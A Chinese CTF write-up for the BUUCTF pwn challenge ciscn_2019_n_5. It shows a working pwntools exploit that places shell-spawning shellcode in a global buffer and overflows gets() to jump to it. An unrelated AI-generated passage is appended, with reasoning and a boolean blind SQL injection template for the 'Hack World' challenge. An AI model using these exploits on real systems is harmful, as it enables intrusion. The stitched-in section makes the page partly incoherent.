BUUCTF-ciscn_2019_n_51

本文介绍了一个利用栈溢出漏洞获取系统权限的过程。通过分析未开启保护的程序,找到gets()函数溢出点,并构造payload发送shellcode,最终实现getshell。使用Python编写了exploit脚本。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x1 checksec

没有开启保护,有可写segments,考虑shellcode

0x2 IDA 

1.main

gets()函数溢出点

 

偏移量

栈溢出到shellcode,getshell 

0x3 EXP

from pwn import *
context.log_level="debug"
p=remote("node4.buuoj.cn",29553)

context.arch="amd64"
shellcode=asm(shellcraft.sh())

name=0x601080
p.recvuntil("name\n")

p.sendline(shellcode)

p.recvuntil("?\n")
payload="A"*0x28+p64(name)

p.sendline(payload)


p.interactive()

<think>好的,用户想了解华北赛区 HackWorld 的相关信息,具体是比赛详情或介绍。首先,我需要查看提供的引用内容,看看有没有相关的信息。 引用[3]提到的是[CISCN2019 华北赛区 Day2 Web1]Hack World1,说明Hack World是CISCN 2019华北赛区的一个题目,属于Web类。用户通过爆破得到flag,但过程较慢,需要关闭程序避免一直跑。这里提到研究脚本的重要性,可能涉及到SQL盲注或二分法脚本的使用。 引用[4]和[5]同样来自BUUCTF平台,涉及同一题目。引用[4]提到使用二分法脚本来处理盲注题目,引用[5]则给出了具体的注入语句,比如0^(ascii(substr((select(flag)from(flag)),{},1))>{}),说明题目需要利用布尔盲注技术,通过构造条件判断来逐位获取flag。 综合来看,Hack World是2019年华北赛区的一道Web题,主要考察布尔盲注和脚本编写能力。题目设计可能涉及绕过过滤机制,通过时间盲注或布尔盲注来爆破数据库中的flag。需要选手编写自动化脚本,如二分法,来高效提取数据。此外,引用中提到走弯路尝试爆破表名,但实际可以通过直接构造正确的注入语句来获取flag,这提示题目可能存在一定的技巧性,需要灵活运用SQL注入知识。 用户可能需要了解题目的具体解题步骤、使用的技术点以及相关脚本的编写方法。此外,是否需要更多细节,比如题目的环境搭建、过滤规则或具体的payload构造?需要根据用户的问题范围来组织回答,确保涵盖关键点,如题目类型、考察技能、解题思路和引用中的具体方法。</think>### HackWorld 华北赛区比赛信息梳理 根据提供的引用内容,HackWorld 是**CISCN(全国大学生信息安全竞赛)华北赛区**中的一道经典 Web 类题目,出现在 **2019 年赛题**中,涉及**布尔盲注**和**自动化脚本爆破**技术[^3][^4][^5]。 --- ### 1. 题目背景与类型 - **赛题名称**:`[CISCN2019 华北赛区 Day2 Web1]Hack World` - **题目类型**:Web 安全(SQL 注入) - **核心考察点**: - 布尔盲注(Boolean-based Blind SQLi) - 绕过过滤规则的注入语句构造 - 自动化脚本编写(如二分法加速爆破) --- ### 2. 题目关键设计 - **过滤规则**:题目可能对部分 SQL 关键字或符号进行了过滤,需构造绕过语句。 - **注入点**:通过输入参数传递恶意 SQL 片段,例如利用条件表达式 `0^(ASCII(SUBSTR(...)) > N)` 逐位爆破 flag。 - **返回值设计**:通过页面返回的布尔值(如 0 或 1)判断条件真假[^4]。 --- ### 3. 解题思路 1. **判断注入类型**:确认存在布尔盲注漏洞。 2. **构造注入语句**: ```sql 0^(ASCII(SUBSTR((SELECT flag FROM flag), {position}, 1)) > {value}) ``` 通过修改 `position` 和 `value` 逐字符爆破 flag。 3. **编写脚本**:使用二分法优化爆破速度,减少请求次数。 4. **注意事项**:需及时终止脚本避免资源浪费。 --- ### 4. 相关引用总结 - **引用[3]**:提到爆破 flag 的耗时问题,强调脚本终止的重要性。 - **引用[4]**:说明使用二分法脚本加速盲注过程。 - **引用[5]**:给出具体的注入语句模板,直接爆破 `flag` 字段值。 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值